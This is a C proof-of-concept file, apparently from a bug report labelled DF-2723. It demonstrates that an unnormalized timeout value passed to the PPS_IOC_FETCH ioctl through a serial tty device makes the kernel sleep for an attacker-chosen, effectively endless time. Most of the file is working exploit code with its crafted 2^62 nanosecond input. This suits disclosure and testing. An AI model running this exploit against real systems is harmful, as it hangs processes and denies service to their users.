DF-2723 / pps_fetch_timeout.c
/* DF-2723: PPS_IOC_FETCH passes the user-supplied timeout timespec * UNVALIDATED into tstohz_low() (kern_clock.c:1618): * * ticks = (int)(sec*hz + (u_long)ts->tv_nsec / nstick); * * An unnormalized tv_nsec (here 2^62) makes the (int) truncation yield an * attacker-chosen tick count (~1.6e9 ticks = ~186 days for 2^62) instead of * the intended 1-second timeout, and because the syscall returns ERESTART * on the first signal the sleep effectively never ends. On sio(4) every * unrecognized tty ioctl reaches pps_ioctl (sio.c:2165-2172), so an * openable /dev/ttydX is enough. Run under `timeout`. */ #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <time.h> #include <sys/ioctl.h> #include <sys/timepps.h> static void nop(int s) { (void)s; } static double elapsed(const struct timespec *a, const struct timespec *b) { return (b->tv_sec - a->tv_sec) + (b->tv_nsec - a->tv_nsec)/1e9; } int main(void) { struct pps_fetch_args fa; struct timespec t0, t1; int fd, r; setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, nop); fd = open("/dev/ttyd0", O_RDWR | O_NONBLOCK); if (fd < 0) { printf("[-] open /dev/ttyd0: %s\n", strerror(errno)); return 1; } memset(&fa, 0, sizeof(fa)); fa.tsformat = PPS_TSFMT_TSPEC; fa.timeout.tv_sec = 1; /* sane 1s, no PPS events */ clock_gettime(CLOCK_MONOTONIC, &t0); alarm(30); r = ioctl(fd, PPS_IOC_FETCH, &fa); clock_gettime(CLOCK_MONOTONIC, &t1); printf("[*] sane {tv_sec=1, tv_nsec=0} : r=%d errno=%d (%s) elapsed=%.3fs\n", r, r ? errno : 0, r ? strerror(errno) : "ok", elapsed(&t0, &t1)); memset(&fa, 0, sizeof(fa)); fa.tsformat = PPS_TSFMT_TSPEC; fa.timeout.tv_sec = 0; fa.timeout.tv_nsec = 4611686018427387904LL; /* 2^62, unnormalized */ clock_gettime(CLOCK_MONOTONIC, &t0); alarm(30); r = ioctl(fd, PPS_IOC_FETCH, &fa); clock_gettime(CLOCK_MONOTONIC, &t1); printf("[*] crafted{tv_sec=0, tv_nsec=2^62} : r=%d errno=%d (%s) elapsed=%.3fs\n", r, r ? errno : 0, r ? strerror(errno) : "ok", elapsed(&t0, &t1)); printf("[*] crafted run must be killed by timeout(1): the truncated tick\n"); printf(" count is ~1.6e9 ticks (~186 days) and ERESTART makes the sleep\n"); printf(" effectively uninterruptible -- attacker-chosen sleep length.\n"); close(fd); return 0; } |